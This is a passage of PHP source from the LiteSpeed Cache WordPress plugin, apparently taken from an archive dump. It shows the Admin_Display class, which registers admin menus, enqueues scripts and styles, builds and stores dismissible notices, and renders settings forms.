		$rest_url    = wp_parse_url(site_url($prefix));
		$current_url = wp_parse_url($url);
		// Debug2::debug( '[Util] is_rest check [base] ', $rest_url );
		// Debug2::debug( '[Util] is_rest check [curr] ', $current_url );
		// Debug2::debug( '[Util] is_rest check [curr2] ', wp_parse_url( add_query_arg( array( ) ) ) );
		if ($current_url !== false && !empty($current_url['path']) && $rest_url !== false && !empty($rest_url['path'])) {
			return strpos($current_url['path'], $rest_url['path']) === 0;
		}

		return false;
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/admin-display.cls.php000064400000137163151031165260021115 0ustar00<?php
/**
 * The admin-panel specific functionality of the plugin.
 *
 * Provides admin page rendering, notices, enqueueing of assets,
 * menu registrations, and various admin utilities.
 *
 * @since      1.0.0
 * @package    LiteSpeed
 * @subpackage LiteSpeed/admin
 * @author     LiteSpeed Technologies <info@litespeedtech.com>
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit();

/**
 * Class Admin_Display
 *
 * Handles WP-Admin UI for LiteSpeed Cache.
 */
class Admin_Display extends Base {

	/**
	 * Log tag for Admin_Display.
	 *
	 * @var string
	 */
	const LOG_TAG = '👮‍♀️';

	/**
	 * Notice class (info/blue).
	 *
	 * @var string
	 */
	const NOTICE_BLUE = 'notice notice-info';
	/**
	 * Notice class (success/green).
	 *
	 * @var string
	 */
	const NOTICE_GREEN = 'notice notice-success';
	/**
	 * Notice class (error/red).
	 *
	 * @var string
	 */
	const NOTICE_RED = 'notice notice-error';
	/**
	 * Notice class (warning/yellow).
	 *
	 * @var string
	 */
	const NOTICE_YELLOW = 'notice notice-warning';
	/**
	 * Option key for one-time messages.
	 *
	 * @var string
	 */
	const DB_MSG = 'messages';
	/**
	 * Option key for pinned messages.
	 *
	 * @var string
	 */
	const DB_MSG_PIN = 'msg_pin';

	/**
	 * Purge by: category.
	 *
	 * @var string
	 */
	const PURGEBY_CAT = '0';
	/**
	 * Purge by: post ID.
	 *
	 * @var string
	 */
	const PURGEBY_PID = '1';
	/**
	 * Purge by: tag.
	 *
	 * @var string
	 */
	const PURGEBY_TAG = '2';
	/**
	 * Purge by: URL.
	 *
	 * @var string
	 */
	const PURGEBY_URL = '3';

	/**
	 * Purge selection field name.
	 *
	 * @var string
	 */
	const PURGEBYOPT_SELECT = 'purgeby';
	/**
	 * Purge list field name.
	 *
	 * @var string
	 */
	const PURGEBYOPT_LIST = 'purgebylist';

	/**
	 * Dismiss key for messages.
	 *
	 * @var string
	 */
	const DB_DISMISS_MSG = 'dismiss';
	/**
	 * Rule conflict flag (on).
	 *
	 * @var string
	 */
	const RULECONFLICT_ON = 'ExpiresDefault_1';
	/**
	 * Rule conflict dismissed flag.
	 *
	 * @var string
	 */
	const RULECONFLICT_DISMISSED = 'ExpiresDefault_0';

	/**
	 * Router type for QC hide banner.
	 *
	 * @var string
	 */
	const TYPE_QC_HIDE_BANNER = 'qc_hide_banner';
	/**
	 * Cookie name for QC hide banner.
	 *
	 * @var string
	 */
	const COOKIE_QC_HIDE_BANNER = 'litespeed_qc_hide_banner';

	/**
	 * Internal messages cache.
	 *
	 * @var array<string,string>
	 */
	protected $messages = array();

	/**
	 * Cached default settings.
	 *
	 * @var array<string,mixed>
	 */
	protected $default_settings = array();

	/**
	 * Whether current context is network admin.
	 *
	 * @var bool
	 */
	protected $_is_network_admin = false;

	/**
	 * Whether multisite is enabled.
	 *
	 * @var bool
	 */
	protected $_is_multisite = false;

	/**
	 * Incremental form submit button index.
	 *
	 * @var int
	 */
	private $_btn_i = 0;

	/**
	 * List of settings with filters and return type.
	 *
	 * @since 7.4
	 *
	 * @var array<string,array<string,mixed>>
	 */
	protected static $settings_filters = [
		// Crawler - Blocklist.
		'crawler-blocklist' => [
			'filter' => 'litespeed_crawler_disable_blocklist',
			'type'   => 'boolean',
		],
		// Crawler - Settings.
		self::O_CRAWLER_LOAD_LIMIT => [
			'filter' => [ Base::ENV_CRAWLER_LOAD_LIMIT_ENFORCE, Base::ENV_CRAWLER_LOAD_LIMIT ],
			'type'   => 'input',
		],
		// Cache - ESI.
		self::O_ESI_NONCE => [
			'filter' => 'litespeed_esi_nonces',
		],
		// Page Optimization - CSS.
		'optm-ucss_per_pagetype' => [
			'filter' => 'litespeed_ucss_per_pagetype',
			'type'   => 'boolean',
		],
		// Page Optimization - Media.
		self::O_MEDIA_ADD_MISSING_SIZES => [
			'filter' => 'litespeed_media_ignore_remote_missing_sizes',
			'type'   => 'boolean',
		],
		// Page Optimization - Media Exclude.
		self::O_MEDIA_LAZY_EXC => [
			'filter' => 'litespeed_media_lazy_img_excludes',
		],
		// Page Optimization - Tuning (JS).
		self::O_OPTM_JS_DELAY_INC => [
			'filter' => 'litespeed_optm_js_delay_inc',
		],
		self::O_OPTM_JS_EXC => [
			'filter' => 'litespeed_optimize_js_excludes',
		],
		self::O_OPTM_JS_DEFER_EXC => [
			'filter' => 'litespeed_optm_js_defer_exc',
		],
		self::O_OPTM_GM_JS_EXC => [
			'filter' => 'litespeed_optm_gm_js_exc',
		],
		self::O_OPTM_EXC => [
			'filter' => 'litespeed_optm_uri_exc',
		],
		// Page Optimization - Tuning (CSS).
		self::O_OPTM_CSS_EXC => [
			'filter' => 'litespeed_optimize_css_excludes',
		],
		self::O_OPTM_UCSS_EXC => [
			'filter' => 'litespeed_ucss_exc',
		],
	];

	/**
	 * Flat pages map: menu slug to template metadata.
	 *
	 * @var array<string,array{title:string,tpl:string,network?:bool}>
	 */
	private $_pages = [];

	/**
	 * Initialize the class and set its properties.
	 *
	 * @since 1.0.7
	 */
	public function __construct() {
		$this->_pages = [
			// Site-level pages
			'litespeed'               => [ 'title' => __( 'Dashboard', 'litespeed-cache' ), 'tpl' => 'dash/entry.tpl.php' ],
			'litespeed-optimax'       => [ 'title' => __( 'OptimaX', 'litespeed-cache' ), 'tpl' => 'optimax/entry.tpl.php', 'scope' => 'site' ],
			'litespeed-presets'       => [ 'title' => __( 'Presets', 'litespeed-cache' ), 'tpl' => 'presets/entry.tpl.php', 'scope' => 'site' ],
			'litespeed-general'       => [ 'title' => __( 'General', 'litespeed-cache' ), 'tpl' => 'general/entry.tpl.php' ],
			'litespeed-cache'         => [ 'title' => __( 'Cache', 'litespeed-cache' ), 'tpl' => 'cache/entry.tpl.php' ],
			'litespeed-cdn'           => [ 'title' => __( 'CDN', 'litespeed-cache' ), 'tpl' => 'cdn/entry.tpl.php', 'scope' => 'site' ],
			'litespeed-img_optm'      => [ 'title' => __( 'Image Optimization', 'litespeed-cache'), 'tpl' => 'img_optm/entry.tpl.php' ],
			'litespeed-page_optm'     => [ 'title' => __( 'Page Optimization', 'litespeed-cache' ), 'tpl' => 'page_optm/entry.tpl.php', 'scope' => 'site' ],
			'litespeed-db_optm'       => [ 'title' => __( 'Database', 'litespeed-cache' ), 'tpl' => 'db_optm/entry.tpl.php' ],
			'litespeed-crawler'       => [ 'title' => __( 'Crawler', 'litespeed-cache' ), 'tpl' => 'crawler/entry.tpl.php', 'scope' => 'site' ],
			'litespeed-toolbox'       => [ 'title' => __( 'Toolbox', 'litespeed-cache' ), 'tpl' => 'toolbox/entry.tpl.php' ],
		];

		// main css
		add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_style' ) );
		// Main js
		add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_scripts' ) );

		$this->_is_network_admin = is_network_admin();
		$this->_is_multisite     = is_multisite();

		// Quick access menu
		$manage = ( $this->_is_multisite && $this->_is_network_admin ) ? 'manage_network_options' : 'manage_options';

		if ( current_user_can( $manage ) ) {
			add_action( 'wp_before_admin_bar_render', array( GUI::cls(), 'backend_shortcut' ) );

			// `admin_notices` is after `admin_enqueue_scripts`.
			add_action( $this->_is_network_admin ? 'network_admin_notices' : 'admin_notices', array( $this, 'display_messages' ) );
		}

		/**
		 * In case this is called outside the admin page.
		 *
		 * @see  https://codex.wordpress.org/Function_Reference/is_plugin_active_for_network
		 * @since  2.0
		 */
		if ( ! function_exists( 'is_plugin_active_for_network' ) ) {
			require_once ABSPATH . 'wp-admin/includes/plugin.php';
		}

		// add menus (Also check for mu-plugins)
		if ( $this->_is_network_admin && ( is_plugin_active_for_network( LSCWP_BASENAME ) || defined( 'LSCWP_MU_PLUGIN' ) ) ) {
			add_action( 'network_admin_menu', array( $this, 'register_admin_menu' ) );
		} else {
			add_action( 'admin_menu', array( $this, 'register_admin_menu' ) );
		}

		$this->cls( 'Metabox' )->register_settings();
	}

	/**
	 * Echo a translated section title.
	 *
	 * @since 3.0
	 *
	 * @param string $id Language key.
	 * @return void
	 */
	public function title( $id ) {
		echo wp_kses_post( Lang::title( $id ) );
	}

	/**
	 * Bind per-page admin hooks for a given page hook.
	 *
	 * Adds footer text filter and preview banner when loading the page.
	 *
	 * @param string $hook Page hook suffix returned by add_*_page().
	 * @return void
	 */
	private function bind_page( $hook ) {
		add_action( "load-$hook", function () {
			add_filter(
				'admin_footer_text',
				function ( $footer_text ) {
					$this->cls( 'Cloud' )->maybe_preview_banner();
					require_once LSCWP_DIR . 'tpl/inc/admin_footer.php';
					return $footer_text;
				},
				1
			);
		} );
	}

	/**
	 * Render an admin page by slug using its mapped template file.
	 *
	 * @param string $slug The menu slug registered in $_pages.
	 * @return void
	 */
	private function render_page( $slug ) {
		$tpl = LSCWP_DIR . 'tpl/' . $this->_pages[ $slug ]['tpl'];
		is_file( $tpl ) ? require $tpl : wp_die( 'Template not found' );
	}

	/**
	 * Register the admin menu display.
	 *
	 * @since 1.0.0
	 * @return void
	 */
	public function register_admin_menu() {
		$capability = $this->_is_network_admin ? 'manage_network_options' : 'manage_options';
		$scope      = $this->_is_network_admin ? 'network' : 'site';

		add_menu_page(
			'LiteSpeed Cache',
			'LiteSpeed Cache',
			$capability,
			'litespeed',
		);

		foreach ( $this->_pages as $slug => $meta ) {
			if ( 'litespeed-optimax' === $slug && !defined( 'LITESPEED_OX' ) ) {
				continue;
			}
			if ( ! empty( $meta['scope'] ) && $meta['scope'] !== $scope ) {
				continue;
			}
			$hook = add_submenu_page(
				'litespeed',
				$meta['title'],
				$meta['title'],
				$capability,
				$slug,
				function () use ( $slug ) {
					$this->render_page( $slug );
				}
			);
			$this->bind_page( $hook );
		}

		// sub menus under options.
		$hook = add_options_page(
			'LiteSpeed Cache',
			'LiteSpeed Cache',
			$capability,
			'litespeed-cache-options',
			function () {
				$this->render_page( 'litespeed-cache' );
			}
		);
		$this->bind_page( $hook );
	}

	/**
	 * Register the stylesheets for the admin area.
	 *
	 * @since 1.0.14
	 * @return void
	 */
	public function enqueue_style() {
		wp_enqueue_style( Core::PLUGIN_NAME, LSWCP_PLUGIN_URL . 'assets/css/litespeed.css', array(), Core::VER, 'all' );
	}

	/**
	 * Register/enqueue the JavaScript for the admin area.
	 *
	 * @since 1.0.0
	 * @since 7.3 Added deactivation modal code.
	 * @return void
	 */
	public function enqueue_scripts() {
		wp_register_script( Core::PLUGIN_NAME, LSWCP_PLUGIN_URL . 'assets/js/litespeed-cache-admin.js', array(), Core::VER, false );

		$localize_data = array();
		if ( GUI::has_whm_msg() ) {
			$ajax_url_dismiss_whm                  = Utility::build_url( Core::ACTION_DISMISS, GUI::TYPE_DISMISS_WHM, true );
			$localize_data['ajax_url_dismiss_whm'] = $ajax_url_dismiss_whm;
		}

		if ( GUI::has_msg_ruleconflict() ) {
			$ajax_url                                       = Utility::build_url( Core::ACTION_DISMISS, GUI::TYPE_DISMISS_EXPIRESDEFAULT, true );
			$localize_data['ajax_url_dismiss_ruleconflict'] = $ajax_url;
		}

		// Injection to LiteSpeed pages
		global $pagenow;
		$page = isset( $_GET['page'] ) ? sanitize_text_field( wp_unslash( $_GET['page'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Recommended

		if ( 'admin.php' === $pagenow && $page && ( 0 === strpos( $page, 'litespeed-' ) || 'litespeed' === $page ) ) {
			if ( in_array( $page, array( 'litespeed-crawler', 'litespeed-cdn' ), true ) ) {
				// Babel JS type correction
				add_filter( 'script_loader_tag', array( $this, 'babel_type' ), 10, 3 );

				wp_enqueue_script( Core::PLUGIN_NAME . '-lib-react', LSWCP_PLUGIN_URL . 'assets/js/react.min.js', array(), Core::VER, false );
				wp_enqueue_script( Core::PLUGIN_NAME . '-lib-babel', LSWCP_PLUGIN_URL . 'assets/js/babel.min.js', array(), Core::VER, false );
			}

			// Crawler Cookie Simulation
			if ( 'litespeed-crawler' === $page ) {
				wp_enqueue_script( Core::PLUGIN_NAME . '-crawler', LSWCP_PLUGIN_URL . 'assets/js/component.crawler.js', array(), Core::VER, false );

				$localize_data['lang']                              = array();
				$localize_data['lang']['cookie_name']               = __( 'Cookie Name', 'litespeed-cache' );
				$localize_data['lang']['cookie_value']              = __( 'Cookie Values', 'litespeed-cache' );
				$localize_data['lang']['one_per_line']              = Doc::one_per_line( true );
				$localize_data['lang']['remove_cookie_simulation']  = __( 'Remove cookie simulation', 'litespeed-cache' );
				$localize_data['lang']['add_cookie_simulation_row'] = __( 'Add new cookie to simulate', 'litespeed-cache' );
				if ( empty( $localize_data['ids'] ) ) {
					$localize_data['ids'] = array();
				}
				$localize_data['ids']['crawler_cookies'] = self::O_CRAWLER_COOKIES;
			}

			// CDN mapping
			if ( 'litespeed-cdn' === $page ) {
				$home_url = home_url( '/' );
				$parsed   = wp_parse_url( $home_url );
				if ( ! empty( $parsed['scheme'] ) ) {
					$home_url = str_replace( $parsed['scheme'] . ':', '', $home_url );
				}
				$cdn_url = 'https://cdn.' . substr( $home_url, 2 );

				wp_enqueue_script( Core::PLUGIN_NAME . '-cdn', LSWCP_PLUGIN_URL . 'assets/js/component.cdn.js', array(), Core::VER, false );
				$localize_data['lang']                         = array();
				$localize_data['lang']['cdn_mapping_url']      = Lang::title( self::CDN_MAPPING_URL );
				$localize_data['lang']['cdn_mapping_inc_img']  = Lang::title( self::CDN_MAPPING_INC_IMG );
				$localize_data['lang']['cdn_mapping_inc_css']  = Lang::title( self::CDN_MAPPING_INC_CSS );
				$localize_data['lang']['cdn_mapping_inc_js']   = Lang::title( self::CDN_MAPPING_INC_JS );
				$localize_data['lang']['cdn_mapping_filetype'] = Lang::title( self::CDN_MAPPING_FILETYPE );
				$localize_data['lang']['cdn_mapping_url_desc'] = sprintf( __( 'CDN URL to be used. For example, %s', 'litespeed-cache' ), '<code>' . esc_html( $cdn_url ) . '</code>' );
				$localize_data['lang']['one_per_line']         = Doc::one_per_line( true );
				$localize_data['lang']['cdn_mapping_remove']   = __( 'Remove CDN URL', 'litespeed-cache' );
				$localize_data['lang']['add_cdn_mapping_row']  = __( 'Add new CDN URL', 'litespeed-cache' );
				$localize_data['lang']['on']                   = __( 'ON', 'litespeed-cache' );
				$localize_data['lang']['off']                  = __( 'OFF', 'litespeed-cache' );
				if ( empty( $localize_data['ids'] ) ) {
					$localize_data['ids'] = array();
				}
				$localize_data['ids']['cdn_mapping'] = self::O_CDN_MAPPING;
			}
		}

		// Load iziModal JS and CSS
		$show_deactivation_modal = ( is_multisite() && ! is_network_admin() ) ? false : true;
		if ( $show_deactivation_modal && 'plugins.php' === $pagenow ) {
			wp_enqueue_script( Core::PLUGIN_NAME . '-iziModal', LSWCP_PLUGIN_URL . 'assets/js/iziModal.min.js', array(), Core::VER, true );
			wp_enqueue_style( Core::PLUGIN_NAME . '-iziModal', LSWCP_PLUGIN_URL . 'assets/css/iziModal.min.css', array(), Core::VER, 'all' );
			add_action( 'admin_footer', array( $this, 'add_deactivation_html' ) );
		}

		if ( $localize_data ) {
			wp_localize_script( Core::PLUGIN_NAME, 'litespeed_data', $localize_data );
		}

		wp_enqueue_script( Core::PLUGIN_NAME );
	}

	/**
	 * Add modal HTML on Plugins screen.
	 *
	 * @since 7.3
	 * @return void
	 */
	public function add_deactivation_html() {
		require LSCWP_DIR . 'tpl/inc/modal.deactivation.php';
	}

	/**
	 * Filter the script tag for specific handles to set Babel type.
	 *
	 * @since 3.6
	 *
	 * @param string $tag    The script tag.
	 * @param string $handle Script handle.
	 * @param string $src    Script source URL.
	 * @return string The filtered script tag.
	 */
	public function babel_type( $tag, $handle, $src ) {
		if ( Core::PLUGIN_NAME . '-crawler' !== $handle && Core::PLUGIN_NAME . '-cdn' !== $handle ) {
			return $tag;
		}

		// phpcs:ignore WordPress.WP.EnqueuedResources.NonEnqueuedScript
		return '<script src="' . Str::trim_quotes( $src ) . '" type="text/babel"></script>';
	}

	/**
	 * Callback that adds LiteSpeed Cache's action links.
	 *
	 * @since 1.0.0
	 *
	 * @param array<string> $links Previously added links from other plugins.
	 * @return array<string> Links with the LiteSpeed Cache one appended.
	 */
	public function add_plugin_links( $links ) {
		$links[] = '<a href="' . esc_url( admin_url( 'admin.php?page=litespeed-cache' ) ) . '">' . esc_html__( 'Settings', 'litespeed-cache' ) . '</a>';

		return $links;
	}

	/**
	 * Build a single notice HTML string.
	 *
	 * @since 1.0.7
	 *
	 * @param string $color              The color CSS class for the notice.
	 * @param string $str                The notice message.
	 * @param bool   $irremovable        If true, the notice cannot be dismissed.
	 * @param string $additional_classes Additional classes to add to the wrapper.
	 * @return string The built notice HTML.
	 */
	public static function build_notice( $color, $str, $irremovable = false, $additional_classes = '' ) {
		$cls = $color;
		if ( $irremovable ) {
			$cls .= ' litespeed-irremovable';
		} else {
			$cls .= ' is-dismissible';
		}
		if ( $additional_classes ) {
			$cls .= ' ' . $additional_classes;
		}

		// possible translation
		$str = Lang::maybe_translate( $str );

		return '<div class="litespeed_icon ' . esc_attr( $cls ) . '"><p>' . wp_kses_post( $str ) . '</p></div>';
	}

	/**
	 * Display info notice.
	 *
	 * @since 1.6.5
	 *
	 * @param string|array<string> $msg                Message or list of messages.
	 * @param bool                 $do_echo            Echo immediately instead of storing.
	 * @param bool                 $irremovable        If true, cannot be dismissed.
	 * @param string               $additional_classes Extra CSS classes.
	 * @return void
	 */
	public static function info( $msg, $do_echo = false, $irremovable = false, $additional_classes = '' ) {
		self::add_notice( self::NOTICE_BLUE, $msg, $do_echo, $irremovable, $additional_classes );
	}

	/**
	 * Display note (warning) notice.
	 *
	 * @since 1.6.5
	 *
	 * @param string|array<string> $msg                Message or list of messages.
	 * @param bool                 $do_echo            Echo immediately instead of storing.
	 * @param bool                 $irremovable        If true, cannot be dismissed.
	 * @param string               $additional_classes Extra CSS classes.
	 * @return void
	 */
	public static function note( $msg, $do_echo = false, $irremovable = false, $additional_classes = '' ) {
		self::add_notice( self::NOTICE_YELLOW, $msg, $do_echo, $irremovable, $additional_classes );
	}

	/**
	 * Display success notice.
	 *
	 * @since 1.6
	 *
	 * @param string|array<string> $msg                Message or list of messages.
	 * @param bool                 $do_echo            Echo immediately instead of storing.
	 * @param bool                 $irremovable        If true, cannot be dismissed.
	 * @param string               $additional_classes Extra CSS classes.
	 * @return void
	 */
	public static function success( $msg, $do_echo = false, $irremovable = false, $additional_classes = '' ) {
		self::add_notice( self::NOTICE_GREEN, $msg, $do_echo, $irremovable, $additional_classes );
	}

	/**
	 * Deprecated alias for success().
	 *
	 * @deprecated 4.7 Will drop in v7.5. Use success().
	 *
	 * @param string|array<string> $msg                Message or list of messages.
	 * @param bool                 $do_echo            Echo immediately instead of storing.
	 * @param bool                 $irremovable        If true, cannot be dismissed.
	 * @param string               $additional_classes Extra CSS classes.
	 * @return void
	 */
	public static function succeed( $msg, $do_echo = false, $irremovable = false, $additional_classes = '' ) {
		self::success( $msg, $do_echo, $irremovable, $additional_classes );
	}

	/**
	 * Display error notice.
	 *
	 * @since 1.6
	 *
	 * @param string|array<string> $msg                Message or list of messages.
	 * @param bool                 $do_echo            Echo immediately instead of storing.
	 * @param bool                 $irremovable        If true, cannot be dismissed.
	 * @param string               $additional_classes Extra CSS classes.
	 * @return void
	 */
	public static function error( $msg, $do_echo = false, $irremovable = false, $additional_classes = '' ) {
		self::add_notice( self::NOTICE_RED, $msg, $do_echo, $irremovable, $additional_classes );
	}

	/**
	 * Add unique (irremovable optional) messages.
	 *
	 * @since 4.7
	 *
	 * @param string               $color_mode  One of info|note|success|error.
	 * @param string|array<string> $msgs        Message(s).
	 * @param bool                 $irremovable If true, cannot be dismissed.
	 * @return void
	 */
	public static function add_unique_notice( $color_mode, $msgs, $irremovable = false ) {
		if ( ! is_array( $msgs ) ) {
			$msgs = array( $msgs );
		}

		$color_map = array(
			'info'    => self::NOTICE_BLUE,
			'note'    => self::NOTICE_YELLOW,
			'success' => self::NOTICE_GREEN,
			'error'   => self::NOTICE_RED,
		);
		if ( empty( $color_map[ $color_mode ] ) ) {
			self::debug( 'Wrong admin display color mode!' );
			return;
		}
		$color = $color_map[ $color_mode ];

		// Go through to make sure unique.
		$filtered_msgs = array();
		foreach ( $msgs as $k => $str ) {
			if ( is_numeric( $k ) ) {
				$k = md5( $str );
			} // Use key to make it overwritable to previous same msg.
			$filtered_msgs[ $k ] = $str;
		}

		self::add_notice( $color, $filtered_msgs, false, $irremovable );
	}

	/**
	 * Add a notice to display on the admin page (store or echo).
	 *
	 * @since 1.0.7
	 *
	 * @param string               $color              Notice color CSS class.
	 * @param string|array<string> $msg                Message(s).
	 * @param bool                 $do_echo            Echo immediately instead of storing.
	 * @param bool                 $irremovable        If true, cannot be dismissed.
	 * @param string               $additional_classes Extra classes for wrapper.
	 * @return void
	 */
	public static function add_notice( $color, $msg, $do_echo = false, $irremovable = false, $additional_classes = '' ) {
		// Bypass adding for CLI or cron
		if ( defined( 'LITESPEED_CLI' ) || wp_doing_cron() ) {
			// WP CLI will show the info directly
			if ( defined( 'WP_CLI' ) && constant('WP_CLI') ) {
				if ( ! is_array( $msg ) ) {
					$msg = array( $msg );
				}
				foreach ( $msg as $v ) {
					$v = wp_strip_all_tags( $v );
					if ( self::NOTICE_RED === $color ) {
						\WP_CLI::error( $v, false );
					} else {
						\WP_CLI::success( $v );
					}
				}
			}
			return;
		}

		if ( $do_echo ) {
			echo self::build_notice( $color, $msg, $irremovable, $additional_classes ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
			return;
		}

		$msg_name = $irremovable ? self::DB_MSG_PIN : self::DB_MSG;

		$messages = self::get_option( $msg_name, array() );
		if ( ! is_array( $messages ) ) {
			$messages = array();
		}

		if ( is_array( $msg ) ) {
			foreach ( $msg as $k => $str ) {
				$messages[ $k ] = self::build_notice( $color, $str, $irremovable, $additional_classes );
			}
		} else {
			$messages[] = self::build_notice( $color, $msg, $irremovable, $additional_classes );
		}
		$messages = array_unique( $messages );
		self::update_option( $msg_name, $messages );
	}

	/**
	 * Display notices and errors in dashboard.
	 *
	 * @since 1.1.0
	 * @return void
	 */
	public function display_messages() {
		if ( ! defined( 'LITESPEED_CONF_LOADED' ) ) {
			$this->_in_upgrading();
		}

		if ( GUI::has_whm_msg() ) {
			$this->show_display_installed();
		}

		Data::cls()->check_upgrading_msg();

		// If is in dev version, always check latest update
		Cloud::cls()->check_dev_version();

		// One time msg
		$messages       = self::get_option( self::DB_MSG, array() );
		$added_thickbox = false;
		if ( is_array( $messages ) ) {
			foreach ( $messages as $msg ) {
				// Added for popup links
				if ( strpos( $msg, 'TB_iframe' ) && ! $added_thickbox ) {
					add_thickbox();
					$added_thickbox = true;
				}
				echo wp_kses_post( $msg );
			}
		}
		if ( -1 !== $messages ) {
			self::update_option( self::DB_MSG, -1 );
		}

		// Pinned msg
		$messages = self::get_option( self::DB_MSG_PIN, array() );
		if ( is_array( $messages ) ) {
			foreach ( $messages as $k => $msg ) {
				// Added for popup links
				if ( strpos( $msg, 'TB_iframe' ) && ! $added_thickbox ) {
					add_thickbox();
					$added_thickbox = true;
				}

				// Append close btn
				if ( '</div>' === substr( $msg, -6 ) ) {
					$link = Utility::build_url( Core::ACTION_DISMISS, GUI::TYPE_DISMISS_PIN, false, null, array( 'msgid' => $k ) );
					$msg  =
						substr( $msg, 0, -6 ) .
						'<p><a href="' .
						esc_url( $link ) .
						'" class="button litespeed-btn-primary litespeed-btn-mini">' .
						esc_html__( 'Dismiss', 'litespeed-cache' ) .
						'</a>' .
						'</p></div>';
				}
				echo wp_kses_post( $msg );
			}
		}

		if ( empty( $_GET['page'] ) || 0 !== strpos( sanitize_text_field( wp_unslash( $_GET['page'] ) ), 'litespeed' ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
			global $pagenow;
			if ( 'plugins.php' !== $pagenow ) {
				return;
			}
		}

		if ( ! $this->conf( self::O_NEWS ) ) {
			return;
		}

		// Show promo from cloud
		Cloud::cls()->show_promo();

		/**
		 * Check promo msg first
		 *
		 * @since 2.9
		 */
		GUI::cls()->show_promo();

		// Show version news
		Cloud::cls()->news();
	}

	/**
	 * Dismiss pinned msg.
	 *
	 * @since 3.5.2
	 * @return void
	 */
	public static function dismiss_pin() {
		if ( ! isset( $_GET['msgid'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
			return;
		}

		$messages = self::get_option( self::DB_MSG_PIN, array() );
		$msgid    = sanitize_text_field( wp_unslash( $_GET['msgid'] ) ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended

		if ( ! is_array( $messages ) || empty( $messages[ $msgid ] ) ) {
			return;
		}

		unset( $messages[ $msgid ] );
		if ( ! $messages ) {
			$messages = -1;
		}
		self::update_option( self::DB_MSG_PIN, $messages );
	}

	/**
	 * Dismiss pinned msg by msg content.
	 *
	 * @since 7.0
	 *
	 * @param string $content     Message content.
	 * @param string $color       Color CSS class.
	 * @param bool   $irremovable Is irremovable.
	 * @return void
	 */
	public static function dismiss_pin_by_content( $content, $color, $irremovable ) {
		$content  = self::build_notice( $color, $content, $irremovable );
		$messages = self::get_option( self::DB_MSG_PIN, array() );
		$hit      = false;
		if ( -1 !== $messages ) {
			foreach ( $messages as $k => $v ) {
				if ( $v === $content ) {
					unset( $messages[ $k ] );
					$hit = true;
					self::debug( '✅ pinned msg content hit. Removed' );
					break;
				}
			}
		}
		if ( $hit ) {
			if ( ! $messages ) {
				$messages = -1;
			}
			self::update_option( self::DB_MSG_PIN, $messages );
		} else {
			self::debug( '❌ No pinned msg content hit' );
		}
	}

	/**
	 * Hooked to the in_widget_form action.
	 * Appends LiteSpeed Cache settings to the widget edit settings screen.
	 * This will append the esi on/off selector and ttl text.
	 *
	 * @since 1.1.0
	 *
	 * @param \WP_Widget $widget     The widget instance (passed by reference).
	 * @param mixed      $return_val Return param (unused).
	 * @param array      $instance   The widget instance's settings.
	 * @return void
	 */
	public function show_widget_edit( $widget, $return_val, $instance ) {
		require LSCWP_DIR . 'tpl/esi_widget_edit.php';
	}

	/**
	 * Outputs a notice when the plugin is installed via WHM.
	 *
	 * @since 1.0.12
	 * @return void
	 */
	public function show_display_installed() {
		require_once LSCWP_DIR . 'tpl/inc/show_display_installed.php';
	}

	/**
	 * Display error cookie msg.
	 *
	 * @since 1.0.12
	 * @return void
	 */
	public static function show_error_cookie() {
		require_once LSCWP_DIR . 'tpl/inc/show_error_cookie.php';
	}

	/**
	 * Display warning if lscache is disabled.
	 *
	 * @since 2.1
	 * @return void
	 */
	public function cache_disabled_warning() {
		include LSCWP_DIR . 'tpl/inc/check_cache_disabled.php';
	}

	/**
	 * Display conf data upgrading banner.
	 *
	 * @since 2.1
	 * @access private
	 * @return void
	 */
	private function _in_upgrading() {
		include LSCWP_DIR . 'tpl/inc/in_upgrading.php';
	}

	/**
	 * Output LiteSpeed form open tag and hidden fields.
	 *
	 * @since 3.0
	 *
	 * @param string|false $action     Router action.
	 * @param string|false $type       Router type.
	 * @param bool         $has_upload Whether form has file uploads.
	 * @return void
	 */
	public function form_action( $action = false, $type = false, $has_upload = false ) {
		if ( ! $action ) {
			$action = Router::ACTION_SAVE_SETTINGS;
		}

		if ( ! defined( 'LITESPEED_CONF_LOADED' ) ) {
			echo '<div class="litespeed-relative">';
		} else {
			$current = isset( $_SERVER['REQUEST_URI'] ) ? esc_url_raw( wp_unslash( $_SERVER['REQUEST_URI'] ) ) : '';
			if ( $has_upload ) {
				echo '<form method="post" action="' . esc_url( $current ) . '" class="litespeed-relative" enctype="multipart/form-data">';
			} else {
				echo '<form method="post" action="' . esc_url( $current ) . '" class="litespeed-relative">';
			}
		}

		echo '<input type="hidden" name="' . esc_attr( Router::ACTION ) . '" value="' . esc_attr( $action ) . '" />';
		if ( $type ) {
			echo '<input type="hidden" name="' . esc_attr( Router::TYPE ) . '" value="' . esc_attr( $type ) . '" />';
		}
		wp_nonce_field( $action, Router::NONCE );
	}

	/**
	 * Output LiteSpeed form end (submit + closing tags).
	 *
	 * @since 3.0
	 *
	 * @return void
	 */
	public function form_end() {
		echo "<div class='litespeed-top20'></div>";

		if ( ! defined( 'LITESPEED_CONF_LOADED' ) ) {
			submit_button( __( 'Save Changes', 'litespeed-cache' ), 'secondary litespeed-duplicate-float', 'litespeed-submit', true, array( 'disabled' => 'disabled' ) );

			echo '</div>';
		} else {
			submit_button(
				__( 'Save Changes', 'litespeed-cache' ),
				'primary litespeed-duplicate-float',
				'litespeed-submit',
				true,
				array(
					'id' => 'litespeed-submit-' . $this->_btn_i++,
				)
			);

			echo '</form>';
		}
	}

	/**
	 * Register a setting for saving.
	 *
	 * @since 3.0
	 *
	 * @param string $id Setting ID.
	 * @return void
	 */
	public function enroll( $id ) {
		echo '<input type="hidden" name="' . esc_attr( Admin_Settings::ENROLL ) . '[]" value="' . esc_attr( $id ) . '" />';
	}

	/**
	 * Build a textarea input.
	 *
	 * @since 1.1.0
	 *
	 * @param string     $id   Setting ID.
	 * @param int|false  $cols Columns count.
	 * @param string|nil $val  Pre-set value.
	 * @return void
	 */
	public function build_textarea( $id, $cols = false, $val = null ) {
		if ( null === $val ) {
			$val = $this->conf( $id, true );

			if ( is_array( $val ) ) {
				$val = implode( "\n", $val );
			}
		}

		if ( ! $cols ) {
